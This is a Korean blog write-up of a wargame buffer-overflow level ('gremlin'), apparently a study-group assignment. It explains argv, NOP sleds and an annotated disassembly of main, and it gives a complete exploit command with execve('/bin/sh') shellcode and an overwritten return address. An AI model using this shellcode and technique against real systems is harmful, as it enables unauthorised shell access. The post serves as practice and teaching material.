simple bof을 main의 매개변수 argv[2]에 쉘코드를 넣어서 공격하기

<문제를 해결하기 위해 알아야 할 개념들>

- argc(argument count) :

프로그램을 시작했을 때 전해지는 인자의 갯수

첫번째 인수는 실행파일의 경로로 고정되어 있어서 인자가 하나도 전달되지 않았을때의 값이 1

 

- argv(argument value) :

프로그램이 시작되었을때 넘겨받은 인자

데이터 타입에서 알 수 있듯이 모든 정보를 문자열로 처리

앞에서 언급했듯이 argv[0]는 파일의 경로를 값으로 갖고 argv[1]부터 차례로 인자들을 갖는다

 

-셸

커맨드 라인의 명령어, 혹은 스크립트를 받아 서버에서 그에 맞는 기능을 실행시켜주는 프로그램

 

-프로그램의 흐름을 조작해 셸을 실행하는 이유

권한 상승이나 본래의 프로그램이 의도치 않은 행위를 하기 위해서

취약점이 존재하는 바이너리를 익스플로잇하여 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획득하여 서버에 임의의 명령어를 실행할 수 있게 됨

 

-공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행한다면, 셸에서 제공하는 여러 명령어들을 실행할 수 있게 됨

 

25바이트 코드 일반적인 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

-NOP(No OPeration)

xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어

프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것과 같은 효과를 줌

주로 명령어의 주소 alignment를 맞출 때 사용됨

 

x86 아키텍처의 NOP 명령어 바이트코드는 0x90

 

NOP Sled, 혹은 NOP Slide

주로 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보하여 셸코드 주소의 오차 범위를 크게 만들 때 사용함

argc가 2보다 작을 시 에러  발생

 

<main의 어셈블리 코드>

 

Dump of assembler code for function main: 
0x8048430 :                   push   %ebp // 함수 프롤로그

0x8048431 <main+1>:     mov    %ebp,%esp // 스택 프레임 생성 과정

0x8048433 <main+3>:     sub    %esp,0x100 // 0x100(10진법으로는 256)만큼 스택 공간 확보

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>  

0x8048449 <main+25>:    add    %esp,4 

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12] //argv[1]주소를 eax에 복사

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax] //argv[1]의 값을 edx에 복사

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax // eax값 스택에 push

0x8048466 <main+54>:    call   0x8048370 <strcpy> //strcpy(eax, edx) 실행

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256] //buffer[256]주소 eax에 복사

0x8048474 <main+68>:    push   %eax // eax값 스택에 push

0x8048475 <main+69>:    push   0x80484ec 

0x804847a <main+74>:    call   0x8048350 <printf>// printf("%s\n") 실행

0x804847f <main+79>:    add    %esp,8 // 스택메모리 정리(push한 eax, 0x80484ec)

0x8048482 <main+82>:    leave // 함수 에필로그 과정

0x8048483 <main+83>:    ret //스택프레임 제거

0x8048484 <main+84>:    nop

0x8048485 <main+85>:    nop

0x8048486 <main+86>:    nop

0x8048487 <main+87>:    nop

0x8048488 <main+88>:    nop

0x8048489 <main+89>:    nop

0x804848a <main+90>:    nop

0x804848b <main+91>:    nop

0x804848c <main+92>:    nop

0x804848d <main+93>:    nop

0x804848e <main+94>:    nop

0x804848f <main+95>:    nop

End of assembler dump. 

 

main 79에 중단점을 설정

 

 buffer [256] +SFP[4] + RET[4]
 

A 256개 , B 4개, C 4개를 넣어 각 주소와 argv[2]의 위치 파악

 

esp를 확인하여 ret 주소 구하기

 

gdb를 빠져나와

 

./gremlin `python -c "print '\x90'*215 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + '\x90'*20 + '\x50\xf9\xff\xbf'"`

 

입력

 

bash라고 뜨면 id 입력

my-pass를 입력하면 다음 단계로 가기 위한 password를 볼 수 있다.

 

해결!!

 

풀고 나서 보니 뭔가 이상한 것 같다...

 

 

'Hacking Study > 포너블 스터디(2020-1) 과제' 카테고리의 다른 글

포너블 6주차 과제  (0) 2020.05.30
포너블 5주차 과제  (0) 2020.05.24
포너블 3주차 과제  (0) 2020.04.17
2주차 보충 - Format String Bug  (0) 2020.04.12
2주차 과제  (0) 2020.04.10

+ Recent posts